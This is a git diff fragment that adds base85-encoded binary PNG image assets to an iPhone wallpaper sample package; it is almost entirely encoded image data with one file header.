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 D$O$;5 literal 0 HcmV?d00001 diff --git a/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text6.png b/Resources/WallpaperSamples/Cipher by mightycooldude12/descriptors/09E9B685-7456-4856-9C10-47DF26B76C33/versions/1/contents/7400.WWDC_2022-390w-844h@3x~iphone.wallpaper/7400.WWDC_2022_Background-390w-844h@3x~iphone.ca/assets/text6.png new file mode 100644 index 0000000000000000000000000000000000000000..3b931d05cb7a7b99410f09841032769b100390f5 GIT binary patch literal 89570 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 